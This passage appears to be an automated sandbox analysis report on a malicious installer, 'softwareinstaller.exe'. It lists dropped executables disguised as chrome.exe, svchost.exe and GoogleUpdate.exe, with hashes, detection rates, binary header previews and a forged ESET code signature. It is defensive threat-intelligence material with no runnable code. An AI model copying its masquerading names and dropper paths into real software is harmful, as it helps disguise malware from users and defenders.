Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$.......PE..d...."Cc...............$......,................@..............................,.......,...`... .............................................. ,......`,.......+..8...........p,.............................`Z+.(....................$,.0............................text...x...........................`.P`.data.....'..0....'.................@.`..rdata..pP...0+..R....+.............@.`@.pdata...8....+..:...n+.............@.0@.xdata...1....+..2....+.............@.0@.bss..........,.......................`..idata....... ,.......+.............@.0..CRT....x....@,.......+.............@.@..tls.........P,.......+.............@.@..rsrc........`,.......+.............@.0..reloc.......p,.......,.............@.0B........................................................................................................................................................................

C:\Users\user\AppData\Local\Google\chrome.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6423552
Entropy (8bit):	7.922005336740627
Encrypted:	false
SSDEEP:	98304:Zr+dbd33oSpsJu9oR+bY11UhoIwBOqF85EiqrvBb2s4U5OoNkI9xFvPrBtOs6ha:x+BzpWu891ZDBOr+iqrpbTLp/U
MD5:	8CD1EA50F8F4C45055400E70DA52B326
SHA1:	40AF98091E8C32CE9C90502B3D851EBC231CACF9
SHA-256:	66552CBE03B205CBA08A2524FB93303DEC5EDF51188758B08D12624DB1EE73E1
SHA-512:	B0BE3ACCCF8CE64343B10E33B7CD5E7292164259D65C07E0C63C08DC05BFA0CF268290B3A37F20F6AFA81D7163BE8C90AC9AE9A7FB93C3E61CBC08310A2BEAF1
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<...xb..xb..xb.....rb......b.....lb.....Tb.....ib..*...lb.....}b..xb..,b.....{b...i.yb.....yb..Richxb..........................PE..L.....qc.................2....`......o.......P....@..........................Pb.......b...@.................................D.\.<.... ]......................0b.\|.....\.......................\.......\.@............P...............................text...30.......2.................. ..`.rdata....[..P....[..6..............@..@.data.........].......\.............@....rsrc........ ].......\.............@..@.reloc..\|....0b.......a.............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\ofg.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	88064
Entropy (8bit):	6.270431868500399
Encrypted:	false
SSDEEP:	1536:apyR0Fl1K6g0e8hsEvKAxtE4zo8Sw7Ky7NGHjQR54z5sW0cd/cbPpGA/uYEmsn:a9l1Ed8hsEfLoBw7p7B54p/uPpGA/VEr
MD5:	33DAD992607D0FFD44D2C81FE67F8FB1
SHA1:	E5B67DC05505FB1232504231F41CBA225C282D3C
SHA-256:	95903D8C2D48C4C0667E41878807F646F7648A33ED25D0EB433AAB41C25E31A4
SHA-512:	444973B44292C433A07E5F75F6580EA71799B1F835677BC5B2E42AF6B567A2F70F1B038F019D250A18216701CCF901B300632487EEBCC1113AC803EDB43159E4
Malicious:	true
Yara Hits:	Rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM, Description: Detects executables embedding command execution via IExecuteCommand COM object, Source: C:\Users\user\AppData\Local\Google\ofg.exe, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 61%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}f.I9...9...9....u..3....u.......u..-...kr......kr..(...kr..*....u..0...9...X....r..8....r=.8....r..8...Rich9...........................PE..L...oz~c.............................$............@.......................................@..................................L..d...............................L....?..8....................@.......?..@...............T............................text............................... ..`.rdata...d.......f..................@..@.data........`.......<..............@....rsrc................F..............@..@.reloc..L............H..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conchsvt.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Microsoft\conchsvt.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.354940450065058
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2wlAsDZiIv:Q3La/KDLI4MWuPTxAIv
MD5:	B10E37251C5B495643F331DB2EEC3394
SHA1:	25A5FFE4C2554C2B9A7C2794C9FE215998871193
SHA-256:	8A6B926C70F8DCFD915D68F167A1243B9DF7B9F642304F570CE584832D12102D
SHA-512:	296BC182515900934AA96E996FC48B565B7857801A07FEFA0D3D1E0C165981B266B084E344DB5B53041D1171F9C6708B4EE0D444906391C4FC073BCC23B92C37
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2843
Entropy (8bit):	5.3371553026862095
Encrypted:	false
SSDEEP:	48:MxHKXeHKlEHU0YHKhQnouHIWUfHKhBHKdHKBfHK5AHKzvQTHmtHoxHImHKx1qHjC:iqXeqm00YqhQnouOqLqdqNq2qzcGtIxw
MD5:	3CF15F26423086F7633BB4066F6D1128
SHA1:	009194C567E122B6CBB9BFC45FD854BA30433C43
SHA-256:	28279AEAD69778149C740526EF13D927FF69632B69B5F1759E6C697720D9D413
SHA-512:	14FD6C0CDF9CDE9B651DF4420DD81F847288C5534F5DDC9773DA9B80B49B15BCE7C804E3DB9819CACF9C09CAADEE75812F43A897F8C678E3650CF46107E24AF9
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.ni.dll",0..3,"PresentationCore, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\PresentationCore\820a27781e8540ca263d835ec155f1a5\PresentationCore.ni.dll",0..3,"PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Presentatio5ae0f00f#\889128adc9a7c9370e5e293f65060164\PresentationFramework.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"WindowsBase, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","C:\Windows\assembly\NativeImages_v4.0.30319_32\Wi

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	45177
Entropy (8bit):	5.072498410577891
Encrypted:	false
SSDEEP:	768:PkWNxV3IpNBQkj25h4iUxuaV7frRJv5FVvCxHBG75ard35n9QOdBQNWzktAHkaN2:PkAxV3CNBQkj25h4iUxuaV7flJnVv6HA
MD5:	79EA83B42F934BED47A1B30D85AB0999
SHA1:	D5AD1B90152F5C698A714FC8044C52571EFCD57B
SHA-256:	9DDA715941C069B34C2052F8902BD6FE9C4956DD2F9E8713F8AD72032BD9662B
SHA-512:	6BDD1F73F199EE5A8BC2EB6FF1B13197E1303B2548932F071EA67A657B5D0056605C5FFC3BAEC02AFDF29A5425BCFA003BA607041A462C2A851B59AF0999567C
Malicious:	false
Preview:	PSMODULECACHE.F..._.>....?...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\PKI\PKI.psd1........Export-Certificate........Get-CertificateNotificationTask........Get-PfxData........New-CertificateNotificationTask........Import-PfxCertificate....#...Set-CertificateAutoEnrollmentPolicy........Export-PfxCertificate........Switch-Certificate........New-SelfSignedCertificate....%...Get-CertificateEnrollmentPolicyServer....%...Add-CertificateEnrollmentPolicyServer....(...Remove-CertificateEnrollmentPolicyServer........Import-Certificate........Test-Certificate........Get-Certificate...."...Remove-CertificateNotificationTask....#...Get-CertificateAutoEnrollmentPolicy........_t.....q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DirectAccessClientComponents\DirectAccessClientComponents.psd1........Set-DAEntryPointTableItem....#...Set-DAClientExperienceConfiguration...."...Enable-DAManualEntryPointSelection........Get-DAEntryPointTableItem........Reset-DAEntryPointTableItem....%...R

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	21848
Entropy (8bit):	5.598656745459466
Encrypted:	false
SSDEEP:	384:3tCR3ySSV/FPlKSZPK097cN4xT8julXHXigviQg3qsInTV5ZkFRVrdtFfvNQv++X:x/KS5KYW4xIClXHUQ6CzOp1FLw
MD5:	0434825294F36F2095F3CF14384B0FC6
SHA1:	183F477BCAAAFE89CE6D14E60390D6D525A7C960
SHA-256:	B1C68E9A0B68833D927B3C909F868A479965E9215D1EDBF2C03A6AB0C4CE3D33
SHA-512:	E22A3E368703869FFCA204C0F53EA7A6EB86891F897E92DFD23C31AF76D801A59067A2BC0918AC18B09F5FC9DF35E714493CBCB3042B4EB85FD702776ECEF5CE
Malicious:	false
Preview:	@...e...................}...e.`.E...m.....[..........@..........H...............<@.^.L."My...:P..... .Microsoft.PowerShell.ConsoleHostD...............fZve...F.....x.)........System.Management.Automation4...............[...{a.C..%6..h.........System.Core.0...............G-.o...A...4B..........System..4................Zg5..:O..g..q..........System.Xml..L...............7.....J@......~.......#.Microsoft.Management.Infrastructure.8................'....L..}............System.Numerics.@................Lo...QN......<Q........System.DirectoryServices<................H..QN.Y.f............System.Management...4....................].D.E.....#.......System.Data.H................. ....H..m)aUu.........Microsoft.PowerShell.Security...<.................~.[L.D.Z.>..m.........System.Transactions.<................):gK..G...$.1.q........System.ConfigurationP................./.C..J..%...].......%.Microsoft.PowerShell.Commands.Utility...D..................-.D.F.<;.nt.1........System.Configuration.Ins

C:\Users\user\AppData\Local\Microsoft\conchsvt.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	5.260084451666705
Encrypted:	false
SSDEEP:	768:f05Vx5qa/mytcR8D6Geg4bkTMyDFvxTJDsTX+GP:fgV2aHciTegKUFvJJDsr+K
MD5:	68E3359674EE7D49550B09E7FF69DCCE
SHA1:	BCB5D12FA5433EF5E4B78A4125EB77357E285908
SHA-256:	DD255D9CBCECED70A7FE5AE66133DE9C3333C72DE6E3D8A4D3F88A8A8108370D
SHA-512:	0E3D050A82DCDBD8F4688BE67DAD2AB9A2E054705BA6D176E381A0D1851202E1E75B7057E88099FB66D9475B20EBE0F5469AD058DDBE94C3EB29AA4100CC0098
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 62%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................."...0..f............... ........@.. ..............................h.....@.................................P...K.................................................................................... ............... ..H............text....e... ...f.................. ..`.rsrc................h..............@..@.reloc...............n..............@..B........................H.......dd... ...........'...<..........................................6.(.....(....z.,..{....,..{....o......(......s....}......(..... ... ....s....(.....r...po......(T...6..{4...oU....~5...-.r~..p.....(-...oG...sV....5...~5....~6......6...V(....r...p~6...oW...f.r...p}8....(T.....}8....sS....7....~9...-.r<..p.....(-...oG...sV....9...~9....~:......:....~;.....([...Vs!...(\...t.....;......0..8.......~....o....~....(.......+.....~.....o......X....i2...&......

C:\Users\user\AppData\Local\Temp\66BC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Google\brave.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	335360
Entropy (8bit):	7.548086611496671
Encrypted:	false
SSDEEP:	6144:RBx7z3Bre16M01nguKBmmlbvx0zKGkl5EiCtuhNjtANJ4tDWhRaitlopYR:RnBreIfKNJVZotuhNZKxrYpI
MD5:	DA87A0A2ABA605908BF8B9A3F4377481
SHA1:	5CAC4EA0B3F0CC2D7C04655DB12AD0443CBAA5CF
SHA-256:	22EE7B8104599B47313195598FFC34AAFD6A6552DCCE0E7B3232CED3A90AC9A4
SHA-512:	55A8A27A013CB2C3DEDA81779D89AB956A5F57D00A155496ABC7BF3C5A87F3B7C41058AB3681CBBD0406F69EA01C4FFC3E5779C2CA676088A68CB87F19C34C28
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 81%
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$..........;..eh..eh..eh.fi..eh.`iS.eh..`i..eh..ai..eh..fi..eh.ai..eh.di..eh..dhE.eh^.li..eh^..h..eh...h..eh^.gi..ehRich..eh........PE..d......b.........."..........n......D..........@.............................`............`..................................................e..P...............(............P..d....Q..p............................P..@...............x............................text...0........................... ..`.rdata.............................@..@.data...X....p.......`..............@....pdata..(............l..............@..@_RDATA..\............\|..............@..@.rsrc................~..............@..@.reloc..d....P......................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_02nzq3qi.jjn.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0no1bh05.ukm.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1cjf22wc.g1p.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5km3w1z1.phv.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ojozi5le.bu4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rkszmmag.bs0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yxqmpmub.jvc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z5sxwern.kb3.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\conhost.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	5656064
Entropy (8bit):	7.933983653349237
Encrypted:	false
SSDEEP:	98304:i1uzvaiQ1TMcEGVxw8YGGagQzR0GFxhkdTG+xqWWU5TV+K2mRXtJg:wiQ1TF12mzRrdkBrwK2I9C
MD5:	95033406F9719A72E37AB1DC499BFF86
SHA1:	14796247F688B312561893955C2255AEFA38FFC9
SHA-256:	CC319BE00B3AC7727F2B7D55B532899BE8518B2FE69588CF23E4C8E34B139155
SHA-512:	54A2D169DD4F5C108F341BF2EA17DFD8A64DBA5E0DD1D0324DABDE62EE96BAC584229DD218157BD2E305C2D45DC1918412A880008C5597750F985EF450DA4031
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 73%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........................$..........j........D...@...................................V...@................................. ...<................................................................................... f..............................text...4.$......................... ..`.rdata..T.....$.....................@..@.data....E....D.....................@....idata........K.....................@....vmp-.!0.t... K.....................@..@.symtab.......L........................@.vmp-.!1.f....L..................... ..`.vmp-.!2D.... f.....................@....vmp-.!3..S..0f...S................. ..`.reloc................S.............@..@.rsrc................S.............@..@........................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\svchost.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	81920
Entropy (8bit):	6.408119764148436
Encrypted:	false
SSDEEP:	1536:Q+uA+pnOZyTfpU9tE6lrY4eOmunPXqDMlsKrKN08LpSMm+IEQFTm:RuBA+hME6+SnPQasBN0cSN+IlFTm
MD5:	B8D23F55D8924B617A57035DB1CD3EB0
SHA1:	94F84B29F47762AFA6F44B39DEA910286381F296
SHA-256:	921DB56E4DE5605B3759DE43727F62BE0F4C158A2837CF08FF376C427B85BEC8
SHA-512:	656C74A552E068E20F234A7F66FD49A2C2477B991385C563443856D0B1E7668CB79F839F06F846EED14CFB009DD0FB4B1AD9F96FD1D0313D38CFB6D213E68099
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 73%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...............................................................................................PE..L.....E............................ 4............@..................................................................................p...............................................................................................................text............................... ..`.rdata...D.......F..................@..@.data....7...0......................@....rsrc........p......."..............@..@.reloc...............0..............@..B................................................................................................................................................................................................................................................................................................................................................

C:\Windows\GoogleUpdate.exe

Download File

Process:	C:\Users\user\AppData\Local\Google\chrome.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	154456
Entropy (8bit):	5.948865342404173
Encrypted:	false
SSDEEP:	3072:UAt2Sb2m5oyiTOZQvfSERdX9Zk8ACB+6l4nfS3wjVSzpD2MhkNJoSloS+Zh52ruK:fxwjRjB+O+/H
MD5:	9A66A3DE2589F7108426AF37AB7F6B41
SHA1:	12950D906FF703F3A1E0BD973FCA2B433E5AB207
SHA-256:	A913415626433D5D0F07D3EC4084A67FF6F5138C3C3F64E36DD0C1AE4C423C65
SHA-512:	A4E81BFFBFA4D3987A8C10CEC5673FD0C8AECBB96104253731BFCAB645090E631786FF7BDE78607CBB2D242EE62051D41658059FCBBC4990C40DBB0FEC66FCD6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3...w...w...w....cg.}....ce......cd.o......f......e......^....cy.z...w...........v.....i.v...w...M.......v...Richw...........................PE..L.....u`............................Bt.......0....@..........................`......g.....@.................................LQ..x....`..P............&..X5...P.......[..T............................[..@............P..H............................text...T........................... ..`.data........0......."..............@....idata.......P.......*..............@..@.rsrc...P....`.......4..............@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................

\Device\ConDrv

Download File

Process:	C:\Windows\SysWOW64\netsh.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	7
Entropy (8bit):	2.2359263506290326
Encrypted:	false
SSDEEP:	3:t:t
MD5:	F1CA165C0DA831C9A17D08C4DECBD114
SHA1:	D750F8260312A40968458169B496C40DACC751CA
SHA-256:	ACCF036232D2570796BF0ABF71FFE342DC35E2F07B12041FE739D44A06F36AF8
SHA-512:	052FF09612F382505B049EF15D9FB83E46430B5EE4EEFB0F865CD1A3A50FDFA6FFF573E0EF940F26E955270502D5774187CD88B90CD53792AC1F6DFA37E4B646
Malicious:	false
Preview:	Ok.....

Static File Info

General

File type:	PE32 executable (console) Intel 80386, for MS Windows
Entropy (8bit):	7.220979212089969
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	softwareinstaller.exe
File size:	225458
MD5:	805d5aabe2eda8c63adbe040adb92b44
SHA1:	849ffc490e0366c9e12bae162e0de0fa677003bf
SHA256:	221bcfad93520868aec7972924ea2cc5827dbf3da3965e2599b9668033ac7ec8
SHA512:	6d0b4cb6b421e75d095de739bae28d6bc59a1c7a6ebdd8b842daa39d9119ae2cb46648846846647ce4b399423156ebc103a2698898ecc1a3be4d457352abdfb3
SSDEEP:	6144:mLxc5JmQi0XhkXwhhgOi/0kbpKnDJw/oQ:mLm5JmaxVhOsapKnlax
TLSH:	B424AE6BDF7488C0C864937C9F9BD261ABFCF1C18BCA2B4A746D68B065622C574DC087
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......c...............'.X...................p....@.......................................@... ............................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x401490
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x638CB6C4 [Sun Dec 4 15:03:32 2022 UTC]
TLS Callbacks:	0x405810, 0x4057c0
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	5d1347f36e9b27f5470825188b98453f

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Entrust Extended Validation Code Signing CA - EVCS1, OU="(c) 2015 Entrust, Inc. - for authorized use only", OU=See www.entrust.net/legal-terms, O="Entrust, Inc.", C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	12/8/2020 6:34:57 AM 12/8/2023 6:34:56 AM
Subject Chain	CN="ESET, spol. s r.o.", SERIALNUMBER=31 333 532, OID.2.5.4.15=Private Organization, O="ESET, spol. s r.o.", OID.1.3.6.1.4.1.311.60.2.1.3=SK, L=Bratislava, C=SK
Version:	3
Thumbprint MD5:	958E814BF6B12FAD5E25D4A0A9F789FA
Thumbprint SHA-1:	134B03AA165A151DC80CA5F7CF98290D1612FAA1
Thumbprint SHA-256:	ADB1AAF5A21CC0A45C048FD018423FCCC6D011CF63389705DB95FACA55448014
Serial:	05F97D054A9BFCBF9D5E12F8D0ABBE07

Entrypoint Preview

Instruction
mov dword ptr [0042D05Ch], 00000000h
jmp 00007F7944A5EDC6h
nop
sub esp, 1Ch
mov eax, dword ptr [esp+20h]
mov dword ptr [esp], eax
call 00007F7944A6431Eh
test eax, eax
sete al
add esp, 1Ch
movzx eax, al
neg eax
ret
nop
nop
nop
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 1Ch
mov dword ptr [esp], 0042A000h
call dword ptr [0042E0F8h]
sub esp, 04h
test eax, eax
je 00007F7944A5F185h
mov ebx, eax
mov dword ptr [esp], 0042A000h
call dword ptr [0042E10Ch]
mov edi, dword ptr [0042E0FCh]
sub esp, 04h
mov dword ptr [0042D020h], eax
mov dword ptr [esp+04h], 0042A013h
mov dword ptr [esp], ebx
call edi
sub esp, 08h
mov esi, eax
mov dword ptr [esp+04h], 0042A029h
mov dword ptr [esp], ebx
call edi
sub esp, 08h
mov dword ptr [00407004h], eax
test esi, esi
je 00007F7944A5F123h
mov dword ptr [esp+04h], 0042D024h
mov dword ptr [esp], 0042C104h
call esi
mov dword ptr [esp], 00401560h
call 00007F7944A5F073h
lea esp, dword ptr [ebp-0Ch]
pop ebx
pop esi
pop edi
pop ebp
ret
lea esi, dword ptr [esi+00000000h]
mov eax, 00000000h
mov esi, 00000000h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e000	0x490	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x3263a	0x4a78
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x31000	0x8cc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x2ae34	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2e0e4	0xa8	.idata
